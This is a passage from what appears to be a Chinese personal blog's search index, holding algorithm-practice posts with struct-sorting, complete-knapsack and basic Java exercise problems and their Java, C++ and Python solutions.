后O行,每行是补考的小和尚的名字; 由于老和尚觉得很对不起小和尚,所以他决定这次简单些,所以无论是奖励还是惩罚都按照总成绩从低到高输出和尚的名字即可。\nSample Input 15 1 2 2a 192 3aa 212 4ab 351 5bab 128 6bbaa 654 Sample Output 1bbaa 2bab 3a 1import java.util.Scanner; 2import java.util.List; 3import java.util.ArrayList; 4 5public class Main { 6 public static void main(String[] args) { 7 Scanner scanner = new Scanner(System.in); 8 while (scanner.hasNextInt()) { 9 int n = scanner.nextInt(); 10 int m = scanner.nextInt(); 11 int o = scanner.nextInt(); 12 scanner.nextLine(); 13 14 List\u0026lt;Student\u0026gt; students = new ArrayList\u0026lt;\u0026gt;(); 15 for (int i = 0; i \u0026lt; n; i++) { 16 String[] data = scanner.nextLine().trim().split(\u0026#34;\\\\s+\u0026#34;); 17 students.add(new Student(data[0], Integer.parseInt(data[1]))); 18 } 19 20 students.sort((a, b) -\u0026gt; Integer.compare(a.score, b.score)); 21 22 for (int i = n - m; i \u0026lt; n; i++) { 23 System.out.println(students.get(i)); 24 } 25 26 for (int i = 0; i \u0026lt; o; i++) { 27 System.out.println(students.get(i)); 28 } 29 } 30 scanner.close(); 31 } 32} 33 34class Student { 35 public String name; 36 public int score; 37 38 public Student(String name, int score) { 39 this.name = name; 40 this.score = score; 41 } 42 43 @Override 44 public String toString() { 45 return this.name; 46 } 47} Problem 873 | 戏说三国 Description 东汉末年,宦官当权,民不聊生。灵帝中平元年,张角兄弟发动黄巾起义,官军闻风丧胆。为抵抗黄巾,幽州太守刘焉出榜招兵。榜文前,刘备、关羽、张飞三兄弟萍水相逢。三人都有为国效力之心,于是桃园结为异姓兄弟,开始了一段三国浪漫传奇…… 如果我问你三国中谁最聪明你一定会说是诸葛亮,我要问你谁武功最高,保不准你就要说关羽。是啊,我们的刘备对于优秀的手下向来十分满意。可是有一天,刘备在无意间在朋友圈里看到了梁山的宋江正在进行英雄排座次,最可气的是这条动态已经被转发评论了无数次了……这一下可气坏了刘备,他决定也来一次,蜀中文武百官大排名。 为了公平起见,诸葛亮帮他制定一条评分标准:每个官员有一个智育、德育、武育三个分数,分别以b%,a%,c%的比率计入加权总分,按总分降序排列,总分相同按智育折合后的分数降序,智育相同按德育,依次类推最终决定排名。(保证没有排名一样的两个人)\nInput 输入第一行t(1\u0026lt;=t\u0026lt;=1000)表示输入的组数。接下来每组第一行1个整数n(1\u0026lt;=n\u0026lt;=100000)三个实数a,b,c(a+b+c=100)接下来n行每行包括英雄的名字,字符串s(1\u0026lt;=len\u0026lt;=20,全为小写字母) 智育、德育、武育的分数(整数)。(1~100)\nOutput 每组第一行输出是第几组输出Case #t:接下来输出n行每行包括英雄的名字,总分,智育、德育、武育折合后的分数(保留四位小数)。\nSample Input 11 23 20.00 20.00 60.00 3zhugeliang 90 80 0 4zhangfei 0 0 100 5guanyu 10 100 100 Sample Output 1Case #1: 2guanyu 82.0000 2.0000 20.0000 60.0000 3zhangfei 60.0000 0.0000 0.0000 60.0000 4zhugeliang 34.0000 18.0000 16.0000 0.0000 a b c 顺序是反的\n1import java.util.Scanner; 2import java.util.List; 3import java.util.ArrayList; 4import java.util.Comparator; 5 6public class Main { 7 public static void main(String[] args) { 8 Scanner scanner = new Scanner(System.in); 9 int t = scanner.nextInt(); 10 11 for (int i = 1; i \u0026lt;= t; i++) { 12 int n = scanner.nextInt(); 13 double pa = scanner.nextDouble(); 14 double pb = scanner.nextDouble(); 15 double pc = scanner.nextDouble(); 16 scanner.nextLine(); 17 18 List\u0026lt;Officer\u0026gt; officers = new ArrayList\u0026lt;\u0026gt;(); 19 while (n-- \u0026gt; 0) { 20 String[] data = scanner.nextLine().trim().split(\u0026#34;\\\\s+\u0026#34;); 21 double a = Double.parseDouble(data[1]) * pb / 100.0; 22 double b = Double.parseDouble(data[2]) * pa / 100.0; 23 double c = Double.parseDouble(data[3]) * pc / 100.0; 24 officers.add(new Officer(data[0], a, b, c)); 25 } 26 27 officers.sort(Comparator.comparing(Officer::getSum) 28 .thenComparing(Officer::getA) 29 .thenComparing(Officer::getB) 30 .thenComparing(Officer::getC)); 31 32 System.out.println(String.format(\u0026#34;Case #%d:\u0026#34;, i)); 33 for (Officer officer : officers) { 34 System.out.println(officer); 35 } 36 } 37 38 scanner.close(); 39 } 40} 41 42class Officer { 43 public String name; 44 public double a, b, c; 45 public double sum; 46 47 public Officer(String name, double a, double b, double c) { 48 this.name = name; 49 this.a = a; 50 this.b = b; 51 this.c = c; 52 this.sum = a + b + c; 53 } 54 55 @Override 56 public String toString() { 57 return String.format(\u0026#34;%s %.4f %.4f %.4f %.4f\u0026#34;, name, sum, a, b, c); 58 } 59 60 public double getSum() { 61 return 100.0 - sum; 62 } 63 64 public double getA() { 65 return 100.0 - a; 66 } 67 68 public double getB() { 69 return 100.0 - b; 70 } 71 72 public double getC() { 73 return 100.0 - c; 74 } 75} Problem 1297 | 结构体排序一 Description 现在给定一组二维平面上面的点的坐标,保证它的坐标是int类型的整数且大于等于0小于等于99.请你按照数据所给要求进行排序. 首先先以横坐标进行排序,若横坐标相同则按纵坐标排序,降序或升序将以0和1的形式表示,0表示降序,1表示升序. 比如,若数据开头给出0 1的要求,则表示先以横坐标降序排列,若横坐标相同则按纵坐标升序排列. 再比如,若数据开头给出1 1的要求,则表示先以横坐标升序排列,若横坐标相同则按纵坐标升序排列. 保证点的数量大于等于3小于等于99\nInput 第1行包含三个数字,第一个数字和第二个数字分别表示横坐标和纵坐标的排序要求,0表示降序,1表示升序,第三个数字n表示有几个点需要排序. 余下第2~n+1行每行各有两个类型为n个点的坐标,例如第2行第一个数字表示第一个点横坐标,第二个数字表示第一个点的纵坐标.\nOutput 输出n行坐标,一行表示一个点,格式如下: (x0,y0)\nSample Input 10 0 4 21 1 31 2 42 1 52 2 61 1 4 72 2 82 1 91 2 101 1 Sample Output 1(2,2) 2(2,1) 3(1,2) 4(1,1) 5(1,1) 6(1,2) 7(2,1) 8(2,2) 1import java.util.Scanner; 2import java.util.List; 3import java.util.ArrayList; 4 5public class Main { 6 public static void main(String[] args) { 7 int a, b, n, x, y, pair; 8 Scanner scanner = new Scanner(System.in); 9 while (scanner.hasNextInt()) { 10 a = scanner.nextInt(); 11 b = scanner.nextInt(); 12 n = scanner.nextInt(); 13 14 pair = decode(a, b); 15 List\u0026lt;Point\u0026gt; points = new ArrayList\u0026lt;\u0026gt;(); 16 while (n-- \u0026gt; 0) { 17 x = scanner.nextInt(); 18 y = scanner.nextInt(); 19 points.add(new Point(x, y)); 20 } 21 22 switch (pair) { 23 case 0: 24 points.sort((p, q) -\u0026gt; { 25 if (p.x != q.x) { 26 return Integer.compare(q.x, p.x); 27 } 28 return Integer.compare(q.y, p.y); 29 }); 30 break; 31 case 1: 32 points.sort((p, q) -\u0026gt; { 33 if (p.x != q.x) { 34 return Integer.compare(q.x, p.x); 35 } 36 return Integer.compare(p.y, q.y); 37 }); 38 break; 39 case 2: 40 points.sort((p, q) -\u0026gt; { 41 if (p.x != q.x) { 42 return Integer.compare(p.x, q.x); 43 } 44 return Integer.compare(q.y, p.y); 45 }); 46 break; 47 case 3: 48 points.sort((p, q) -\u0026gt; { 49 if (p.x != q.x) { 50 return Integer.compare(p.x, q.x); 51 } 52 return Integer.compare(p.y, q.y); 53 }); 54 break; 55 default: 56 break; 57 } 58 59 for (Point point : points) { 60 System.out.println(point); 61 } 62 } 63 scanner.close(); 64 } 65 66 public static int decode(int x, int y) { 67 return x * 2 + y * 1; 68 } 69} 70 71class Point { 72 public int x, y; 73 74 public Point(int x, int y) { 75 this.x = x; 76 this.y = y; 77 } 78 79 @Override 80 public String toString() { 81 return String.format(\u0026#34;(%d,%d)\u0026#34;, x, y); 82 } 83} 才注意到这道题是结构体排序。\n1#include \u0026lt;iostream\u0026gt; 2#include \u0026lt;vector\u0026gt; 3#include \u0026lt;algorithm\u0026gt; 4 5using namespace std; 6 7struct Point { 8 int x, y; 9}; 10 11int decode(int x, int y) { 12 return x * 2 + y; 13} 14 15int main() { 16 int a, b, n, x, y, pair; 17 while (cin \u0026gt;\u0026gt; a \u0026gt;\u0026gt; b \u0026gt;\u0026gt; n) { 18 pair = decode(a, b); 19 vector\u0026lt;Point\u0026gt; points; 20 while (n--) { 21 Point p; 22 cin \u0026gt;\u0026gt; p.x \u0026gt;\u0026gt; p.y; 23 points.push_back(p); 24 } 25 26 switch (pair) { 27 case 0: 28 sort(points.begin(), points.end(), [](Point p, Point q) { 29 if (p.x != q.x) { 30 return p.x \u0026gt; q.x; 31 } 32 return p.y \u0026gt; q.y; 33 }); 34 break; 35 case 1: 36 sort(points.begin(), points.end(), [](Point p, Point q) { 37 if (p.x != q.x) { 38 return p.x \u0026gt; q.x; 39 } 40 return p.y \u0026lt; q.y; 41 }); 42 break; 43 case 2: 44 sort(points.begin(), points.end(), [](Point p, Point q) { 45 if (p.x != q.x) { 46 return p.x \u0026lt; q.x; 47 } 48 return p.y \u0026gt; q.y; 49 }); 50 break; 51 case 3: 52 sort(points.begin(), points.end(), [](Point p, Point q) { 53 if (p.x != q.x) { 54 return p.x \u0026lt; q.x; 55 } 56 return p.y \u0026lt; q.y; 57 }); 58 break; 59 default: 60 break; 61 } 62 63 for (const auto\u0026amp; p : points) { 64 printf(\u0026#34;(%d,%d)\\n\u0026#34;, p.x, p.y); 65 } 66 } 67 return 0; 68} Problem 1298 | 结构体排序二 Description 给定一些三维空间的点,要求给它们进行排序,其中点的坐标是大于等于0小于等于99的int类型的整数. 排序要求是,首先按横坐标x升序排列,若横坐标x相同则按纵坐标y升序排列,若纵坐标y相同则按竖坐标z升序排列. 保证点的数量大于等于3小于等于99.\nInput 第1行有一个数字n,表示需要排序的点的个数 第2~n+1行各有三个整数,分别表示点的横坐标,纵坐标,竖坐标.\nOutput 输出n行,每行表示一个点,格式如下: (x,y,z)\nSample Input 15 24 7 9 32 3 1 43 5 6 53 5 9 64 8 7 Sample Output 1(2,3,1) 2(3,5,6) 3(3,5,9) 4(4,7,9) 5(4,8,7) 1#include \u0026lt;iostream\u0026gt; 2#include \u0026lt;vector\u0026gt; 3#include \u0026lt;algorithm\u0026gt; 4 5using namespace std; 6 7struct Point { 8 int x, y, z; 9}; 10 11bool cmp(Point p, Point q) { 12 if (p.x != q.x) { 13 return p.x \u0026lt; q.x; 14 } 15 else if (p.y != q.y) { 16 return p.y \u0026lt; q.y; 17 } 18 else { 19 return p.z \u0026lt; q.z; 20 } 21} 22 23int main() { 24 int n; 25 while (cin \u0026gt;\u0026gt; n) { 26 vector\u0026lt;Point\u0026gt; points; 27 while (n--) { 28 Point p; 29 cin \u0026gt;\u0026gt; p.x \u0026gt;\u0026gt; p.y \u0026gt;\u0026gt; p.z; 30 points.push_back(p); 31 } 32 sort(points.begin(), points.end(), cmp); 33 34 for (const auto\u0026amp; p : points) { 35 printf(\u0026#34;(%d,%d,%d)\\n\u0026#34;, p.x, p.y, p.z); 36 } 37 } 38 return 0; 39} ","link":"https://jackgdn.github.io/post/lanqiao-week2/","section":"post","tags":["算法","结构体排序"],"title":"2025寒假算法练习——Week 2"},{"body":"","link":"https://jackgdn.github.io/tags/%E7%BB%93%E6%9E%84%E4%BD%93%E6%8E%92%E5%BA%8F/","section":"tags","tags":null,"title":"结构体排序"},{"body":"","link":"https://jackgdn.github.io/tags/java/","section":"tags","tags":null,"title":"Java"},{"body":"","link":"https://jackgdn.github.io/categories/java/","section":"categories","tags":null,"title":"Java"},{"body":"","link":"https://jackgdn.github.io/series/java-%E7%BB%83%E4%B9%A0/","section":"series","tags":null,"title":"Java 练习"},{"body":"源代码:Java-OOP-Practice\n题目网页截图如下:\n","link":"https://jackgdn.github.io/post/java%E7%BB%83%E4%B9%A07/","section":"post","tags":["Java"],"title":"Java 练习(七)"},{"body":"完全背包问题讲解视频:新手向 再冲完全背包两种解法 二维数组 滚动数组\n题目来自洛谷题单背包问题\n疯狂的采药 题目背景 此题为纪念 LiYuxiang 而生。\n题目描述 LiYuxiang 是个天资聪颖的孩子,他的梦想是成为世界上最伟大的医师。为此,他想拜附近最有威望的医师为师。医师为了判断他的资质,给他出了一个难题。医师把他带到一个到处都是草药的山洞里对他说:“孩子,这个山洞里有一些不同种类的草药,采每一种都需要一些时间,每一种也有它自身的价值。我会给你一段时间,在这段时间里,你可以采到一些草药。如果你是一个聪明的孩子,你应该可以让采到的草药的总价值最大。”\n如果你是 LiYuxiang,你能完成这个任务吗?\n此题和原题的不同点:\n$1$. 每种草药可以无限制地疯狂采摘。\n$2$. 药的种类眼花缭乱,采药时间好长好长啊!师傅等得菊花都谢了!\n输入格式 输入第一行有两个整数,分别代表总共能够用来采药的时间 $t$ 和代表山洞里的草药的数目 $m$。\n第 $2$ 到第 $(m + 1)$ 行,每行两个整数,第 $(i + 1)$ 行的整数 $a_i, b_i$ 分别表示采摘第 $i$ 种草药的时间和该草药的价值。\n输出格式 输出一行,这一行只包含一个整数,表示在规定的时间内,可以采到的草药的最大总价值。\n样例 #1 样例输入 #1 170 3 271 100 369 1 41 2 样例输出 #1 1140 提示 数据规模与约定 对于 $30%$ 的数据,保证 $m \\le 10^3$ 。 对于 $100%$ 的数据,保证 $1 \\leq m \\le 10^4$,$1 \\leq t \\leq 10^7$,且 $1 \\leq m \\times t \\leq 10^7$,$1 \\leq a_i, b_i \\leq 10^4$。 题解 完全背包模板题,用 Python 写的话,不管是用二维数组还是一维滚动数组都会 MLE,所以使用 Java。 另外这道题的数据范围比较大,dp 数组使用 long 类型。\n1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 Scanner scanner = new Scanner(System.in); 6 int t = scanner.nextInt(); 7 int m = scanner.nextInt(); 8 int[] a = new int[m + 1]; 9 int[] b = new int[m + 1]; 10 for (int i = 1; i \u0026lt;= m; i++) { 11 a[i] = scanner.nextInt(); 12 b[i] = scanner.nextInt(); 13 } 14 scanner.close(); 15 16 long[] dp = new long[t + 1]; 17 for (int i = 1; i \u0026lt;= m; i++) { 18 for (int j = a[i]; j \u0026lt;= t; j++) { 19 dp[j] = Math.max(dp[j], dp[j - a[i]] + b[i]); 20 } 21 } 22 System.out.println(dp[t]); 23 } 24} [USACO3.1] 总分 Score Inflation 题目背景 选手在我们 USACO 的竞赛中的得分越多我们越高兴。\n我们试着设计我们的竞赛以便人们能尽可能的多得分,这需要你的帮助。\n题目描述 我们可以从几个种类中选取竞赛的题目,这里的一个“种类”是指一个竞赛题目的集合,解决集合中的题目需要相同多的时间并且能得到相同的分数。\n你的任务是写一个程序来告诉 USACO 的职员,应该从每一个种类中选取多少题目,使得解决题目的总耗时在竞赛规定的时间里并且总分最大。\n输入格式 输入的第一行是用空格隔开的两个整数,分别代表竞赛时间 $m$ 和题目类 $n$。\n第 $2$ 到第 $(n + 1)$ 行,每行两个用空格隔开的整数,第 $(i + 1)$ 行的整数 $p_i, t_i$ 分别代表解决第 $i$ 类题得到的分数和需要花费的时间。\n既然是某一类题目,那么这一类题目可以重复选择。\n输出格式 输出一行一个整数,代表最大的总分。\n样例 #1 样例输入 #1 1300 4 2100 60 3250 120 4120 100 535 20 样例输出 #1 1605 提示 数据规模与约定 对于 $100%$ 的数据,保证 $1 \\leq n, m \\leq 10^4$,$1 \\leq p_i, t_i \\leq 10^4$。\n题解 这道题的提交记录里,没有人用 Python 还可以 AC 的。\n1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 Scanner scanner = new Scanner(System.in); 6 int m = scanner.nextInt(); 7 int n = scanner.nextInt(); 8 int[] p = new int[m + 1]; 9 int[] t = new int[m + 1]; 10 for (int i = 1; i \u0026lt;= n; i++) { 11 p[i] = scanner.nextInt(); 12 t[i] = scanner.nextInt(); 13 } 14 scanner.close(); 15 16 int[] dp = new int[m + 1]; 17 for (int i = 1; i \u0026lt;= n; i++) { 18 for (int j = t[i]; j \u0026lt;= m; j++) { 19 dp[j] = Math.max(dp[j], dp[j - t[i]] + p[i]); 20 } 21 } 22 System.out.println(dp[m]); 23 } 24} 投资的最大效益 题目背景 约翰先生获得了一大笔遗产,他暂时还用不上这一笔钱,他决定进行投资以获得更大的效益。银行工作人员向他提供了多种债券,每一种债券都能在固定的投资后,提供稳定的年利息。当然,每一种债券的投资额是不同的,一般来说,投资越大,收益也越大,而且,每一年还可以根据资金总额的增加,更换收益更大的债券。\n题目描述 例如:有如下两种不同的债券:\n投资额 $$4000$,年利息 $$400$; 投资额 $$3000$,年利息 $$250$。 初始时,有 $$10000$ 的总资产,可以投资两份债券 1 债券,一年获得 $$800$ 的利息;而投资一份债券 1 和两份债券 2,一年可获得 $$900$ 的利息,两年后,可获得 $$1800$ 的利息;而所有的资产达到 $$11800$,然后将卖掉一份债券 2,换购债券 1,年利息可达到 $$1050$;第三年后,总资产达到 $$12850$,可以购买三份债券 1,年利息可达到 $$1200$,第四年后,总资产可达到 $$14050$。\n现给定若干种债券、最初的总资产,帮助约翰先生计算,经过 $n$ 年的投资,总资产的最大值。\n输入格式 第一行为三个正整数 $s, n, d$,分别表示最初的总资产、年数和债券的种类。\n接下来 $d$ 行,每行表示一种债券,两个正整数 $a, b$ 分别表示债券的投资额和年利息。\n输出格式 仅一个整数,表示 $n$ 年后的最大总资产。\n样例 #1 样例输入 #1 110000 4 2 24000 400 33000 250 样例输出 #1 114050 提示 对于 $100 %$ 的数据,$1 \\le s \\le {10}^6$,$2 \\le n \\le 40$,$1 \\le d \\le 10$,$1 \\le a \\le {10}^4$,且 $a$ 是 $1000$ 的倍数,$b$ 不超过 $a$ 的 $10%$。\n题解 这道题的背包容量范围比较大,如果直接声明一个大数组必然导致 MLE。题目中说所有的 a 都可以被 1000 整除,因此可以通过将数据中所有金额都除以 1000 来优化。\n1def main(): 2 s, n, d = map(int, input().split(\u0026#34; \u0026#34;)) 3 a, b = [0], [0] 4 for _ in range(d): 5 ai, bi = map(int, input().split(\u0026#34; \u0026#34;)) 6 a.append(ai // 1000) 7 b.append(bi + ai) 8 9 for _ in range(n): 10 s = dp(s, d, a, b) 11 print(s) 12 13 14def dp(s, d, a, b): 15 s0 = s - (s // 1000) * 1000 16 s //= 1000 17 dparr = [0 for _ in range(s + 1)] 18 for i in range(d + 1): 19 for j in range(a[i], s + 1): 20 dparr[j] = max(dparr[j], dparr[j - a[i]] + b[i]) 21 return dparr[-1] + s0 22 23 24if __name__ == \u0026#34;__main__\u0026#34;: 25 main() [USACO08NOV] Buying Hay S 题目描述 Farmer John is running out of supplies and needs to purchase H (1 \u0026lt;= H \u0026lt;= 50,000) pounds of hay for his cows.\nHe knows N (1 \u0026lt;= N \u0026lt;= 100) hay suppliers conveniently numbered 1..N. Supplier i sells packages that contain P_i (1 \u0026lt;= P_i \u0026lt;= 5,000) pounds of hay at a cost of C_i (1 \u0026lt;= C_i \u0026lt;= 5,000) dollars. Each supplier has an unlimited number of packages available, and the packages must be bought whole.\nHelp FJ by finding the minimum cost necessary to purchase at least H pounds of hay.\n约翰的干草库存已经告罄,他打算为奶牛们采购 $H(1 \\leq H \\leq 50000)$ 磅干草。\n他知道 $N(1 \\leq N\\leq 100)$ 个干草公司,现在用 $1$ 到 $N$ 给它们编号。第 $i$ 公司卖的干草包重量为 $P_i (1 \\leq P_i \\leq 5,000)$ 磅,需要的开销为 $C_i (1 \\leq C_i \\leq 5,000)$ 美元。每个干草公司的货源都十分充足, 可以卖出无限多的干草包。\n帮助约翰找到最小的开销来满足需要,即采购到至少 $H$ 磅干草。\n输入格式 * Line 1: Two space-separated integers: N and H\n* Lines 2..N+1: Line i+1 contains two space-separated integers: P_i and C_i\n输出格式 * Line 1: A single integer representing the minimum cost FJ needs to pay to obtain at least H pounds of hay.\n样例 #1 样例输入 #1 12 15 23 2 35 3 样例输出 #1 19 提示 FJ can buy three packages from the second supplier for a total cost of 9.\n题解 这道题的坑在于,当购买的干草数量比 H 更大时,价格反而更便宜,而题目的要求正好是“至少 H 磅干草”而且“开销最小”。所以这道题里的数组长度不是 H + 1 而是 H + max(P) + 1。填完数组后,从 dp[H:] 中搜寻最小值。 这道题中的状态转移方程是 dp[j] = min(dp[j], dp[j - P[i]] + C[i])。但是倘若将数组初始化为 0,那么最小值一直是 0。因此需要将 dp[0] 初始化为 0 而其他位置初始化为 5e5(可能出现的最大值)。\n1def main(): 2 N, H = map(int, input().strip().split(\u0026#34; \u0026#34;)) 3 P, C = [0], [0] 4 for _ in range(N): 5 Pi, Ci = map(int, input().strip().split(\u0026#34; \u0026#34;)) 6 P.append(Pi) 7 C.append(Ci) 8 9 max_pound = H + max(P) 10 # 先全部赋成最大值,但是 dp[0] 必须是 0,不然第一个 dp[j - P[i]] + C[i] 也会无比大 11 dp = [0] + [5e5 for _ in range(1, max_pound + 1)] 12 for i in range(1, N + 1): 13 for j in range(P[i], max_pound + 1): 14 dp[j] = min(dp[j], dp[j - P[i]] + C[i]) 15 print(min(dp[H:])) 16 17 18if __name__ == \u0026#34;__main__\u0026#34;: 19 main() ","link":"https://jackgdn.github.io/post/algo-knapsackproblem-2/","section":"post","tags":["算法","动态规划","背包问题"],"title":"背包问题——完全背包问题"},{"body":" 已知高斯随机数的公式为:$w=sin(2\\pi v)(-21lnu)^{\\frac12}$,从键盘输入一个(0,1)范围内的u,再输入一个(0,1)范围内的v。计算并输出w的值。 1example: 2 3input: 40.2 50.3 6 7output: 85.529082710300016 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 Scanner scanner = new Scanner(System.in); 8 double u = scanner.nextDouble(); 9 double v = scanner.nextDouble(); 10 scanner.close(); 11 12 double w = Math.sin(2 * Math.PI * v) * Math.sqrt(-21.0 * Math.log(u)); 13 System.out.println(w); 14 } 15} 从键盘依次读入两个整数字符,判断一下,他们是否互素。如果互素打印True,不互素打印False。 1example: 2 3input: 49 56 6 7output: 8False 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 Scanner sc = new Scanner(System.in); 8 int a = sc.nextInt(); 9 int b = sc.nextInt(); 10 sc.close(); 11 12 System.out.println(gcd(a, b) == 1); 13 } 14 15 public static int gcd(int a, int b) { 16 return b == 0 ? a : gcd(b, a % b); 17 } 18} 从键盘接收一个整型数据n,并输出一个n*n的图形,其中第i行和第j列如果满足,i可以整除j,或j可以整除i时,输出一个“*”,否则输出一个“ ”(一个空格)。输入输出如图所示: 1example: 2 3input: 43 5 6output: 7*** 8** 9* * 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 Scanner sc = new Scanner(System.in); 8 int n = sc.nextInt(); 9 sc.close(); 10 11 for (int i = 1; i \u0026lt;= n; i++) { 12 for (int j = 1; j \u0026lt;= n; j++) { 13 System.out.print(i % j == 0 || j % i == 0 ? \u0026#34;*\u0026#34; : \u0026#34; \u0026#34;); 14 } 15 System.out.println(); 16 } 17 } 18} 从键盘输入一个n,代表一维数组包含的元素个数。从键盘输入两行由空格分隔的数字字符,代表两个不同的一维数组。如果长度不足n位,用0补足。长度超过n位,只保留n个元素在一维数组中。计算两个向量的欧几里德距离。(即两个向量对应元素差的平方根) 1example: 2 3input: 45 51 2 4 3 62 5 6 9 10 11 7 8output: 912.24744871391589 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.List; 5 6public class Main { 7 public static void main(String[] args) { 8 Scanner sc = new Scanner(System.in); 9 int n = sc.nextInt(); 10 sc.nextLine(); 11 String aVectorString = sc.nextLine(); 12 String bVectorString = sc.nextLine(); 13 sc.close(); 14 15 int[] aVector = parseVector(n, aVectorString); 16 int[] bVector = parseVector(n, bVectorString); 17 18 double tmp = 0.0; 19 for (int i = 0; i \u0026lt; n; i++) { 20 tmp += Math.pow((double) (aVector[i] - bVector[i]), 2); 21 } 22 System.out.println(Math.sqrt(tmp)); 23 } 24 25 public static int[] parseVector(int n, String vectorString) { 26 int[] vector = new int[n]; 27 String[] stringVector = vectorString.trim().split(\u0026#34;\\\\s+\u0026#34;); 28 for (int i = 0; i \u0026lt; n; i++) { 29 vector[i] = stringVector.length \u0026gt; i ? Integer.parseInt(stringVector[i]) : 0; 30 } 31 return vector; 32 } 33} 从键盘接收一个数字,为当前作业执行需要的秒数,将该秒数整理成xx天xx小时xx分xx秒的形式。 1example: 2 3input: 41000 5 6output: 7Time is:0days,0hours,16minutes and 40 seconds. 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 Scanner sc = new Scanner(System.in); 8 int second = sc.nextInt(); 9 sc.close(); 10 11 int day = second / 86400; 12 second %= 86400; 13 int hour = second / 3600; 14 second %= 3600; 15 int minute = second / 60; 16 second %= 60; 17 18 System.out.println(String.format(\u0026#34;%d days %d hours %d minutes %d seconds\u0026#34;, day, hour, minute, second)); 19 } 20} 从键盘输入两个空格隔开的四位数,找到所有满足特殊条件的四位数字。例如1234是一个特殊的四位数,它各个位数之和为10,编程求出所有给定范围里所有特殊的四位数。输出的数字顺序从小到大。输出格式如图所示。每输出5个数字换行一次。 1example: 2 3input: 41000 1500 5 6output: 71009 1018 1027 1036 1045 81054 1063 1072 1081 1090 91108 1117 1126 1135 1144 101153 1162 1171 1180 1207 111216 1225 1234 1243 1252 121261 1270 1306 1315 1324 131333 1342 1351 1360 1405 141414 1423 1432 1441 1450 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.List; 5import java.util.ArrayList; 6import java.util.stream.Collectors; 7 8public class Main { 9 public static void main(String[] args) { 10 Scanner sc = new Scanner(System.in); 11 int a = sc.nextInt(); 12 int b = sc.nextInt(); 13 sc.close(); 14 15 List\u0026lt;Integer\u0026gt; specialNumbers = new ArrayList\u0026lt;\u0026gt;(); 16 for (int i = a; i \u0026lt;= b; i++) { 17 if (isSpecial(i)) { 18 specialNumbers.add(i); 19 } 20 } 21 22 for (int i = 0; i \u0026lt; specialNumbers.size(); i += 5) { 23 List\u0026lt;Integer\u0026gt; row = specialNumbers.subList(i, Math.min(i + 5, specialNumbers.size())); 24 String result = row.stream().map(String::valueOf).collect(Collectors.joining(\u0026#34; \u0026#34;)); 25 System.out.println(result); 26 } 27 } 28 29 public static boolean isSpecial(int n) { 30 return n / 1000 + (n % 1000) / 100 + (n % 100) / 10 + n % 10 == 10; 31 } 32} 请编写一个程序,实现如下功能:读取一个整数序列,删除序列中连续重复数,输出结果序列。 1example: 2 3input: 41 2 2 1 5 1 1 7 7 7 7 1 1 1 1 1 1 5 6output: 71 2 1 5 1 7 1 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.Deque; 5import java.util.LinkedList; 6 7public class Main { 8 public static void main(String[] args) { 9 Scanner sc = new Scanner(System.in); 10 String[] values = sc.nextLine().trim().split(\u0026#34;\\\\s+\u0026#34;); 11 sc.close(); 12 13 Deque\u0026lt;String\u0026gt; deque = new LinkedList\u0026lt;\u0026gt;(); 14 for (String value : values) { 15 if (!value.equals(deque.peekLast())) { 16 deque.addLast(value); 17 } 18 } 19 20 while (!deque.isEmpty()) { 21 System.out.print(deque.removeFirst() + \u0026#34; \u0026#34;); 22 } 23 } 24} 请编写程序,实现以下功能,从键盘输入一个n,创建一个n行n列的布尔型方阵。满足以下条件:如果i和j互素(即两者没有共同因子),则a[i][j]为1,否则为0。打印输出该布尔型矩阵。注意:0与任何数均不互素。 1example: 2 3input: 43 5 6output: 70 0 0 80 1 1 90 1 0 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 Scanner sc = new Scanner(System.in); 8 int n = sc.nextInt(); 9 sc.close(); 10 11 for (int i = 0; i \u0026lt; n; i++) { 12 for (int j = 0; j \u0026lt; n; j++) { 13 if (i == 0 || j == 0) { 14 System.out.print(\u0026#34;0 \u0026#34;); 15 } else { 16 System.out.print(gcd(i, j) == 1 ? \u0026#34;1 \u0026#34; : \u0026#34;0 \u0026#34;); 17 } 18 } 19 System.out.println(); 20 } 21 } 22 23 public static int gcd(int a, int b) { 24 return b == 0 ? a : gcd(b, a % b); 25 } 26} 从键盘输入一个n,代表布尔矩阵的行数。依次读入两个n行空格隔开的数字字符串,将两个n阶方阵转换成布尔矩阵(一定要先转换成布尔矩阵。即将非0的数字变为1,数字为0保持不变。)从键盘读入一个符号 + 或 *,进行矩阵加法和矩阵乘法运算,(注意:这里的 + 或 * 代表布尔运算的逻辑加和逻辑乘,逻辑加的运算规则为:1+1=1, 1+0=1, 0+1=1, 0+0=0,逻辑乘的运算规则为 1*1=1, 1*0=0, 0*1=0, 0*0=0。)输出结果同样为一个布尔型矩阵。(假设每一行录入的空格隔开的数字字符均为n个) 1example: 2 3input: 42 51 0 61 1 70 0 81 0 9+ 10 11output: 121 0 131 1 14 15input: 162 171 0 181 1 190 0 201 0 21* 22 23output: 240 0 251 0 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 Scanner sc = new Scanner(System.in); 8 int n = sc.nextInt(); 9 10 boolean[][] aMatrix = new boolean[n][n]; 11 boolean[][] bMatrix = new boolean[n][n]; 12 for (int i = 0; i \u0026lt; n; i++) { 13 for (int j = 0; j \u0026lt; n; j++) { 14 int value = sc.nextInt(); 15 aMatrix[i][j] = value != 0; 16 } 17 } 18 for (int i = 0; i \u0026lt; n; i++) { 19 for (int j = 0; j \u0026lt; n; j++) { 20 int value = sc.nextInt(); 21 bMatrix[i][j] = value != 0; 22 } 23 } 24 25 sc.nextLine(); 26 char operator = sc.nextLine().charAt(0); 27 sc.close(); 28 29 boolean[][] result = new boolean[n][n]; 30 switch (operator) { 31 case \u0026#39;+\u0026#39;: 32 result = matrixAddition(aMatrix, bMatrix, n); 33 break; 34 case \u0026#39;*\u0026#39;: 35 result = matrixMultiplication(aMatrix, 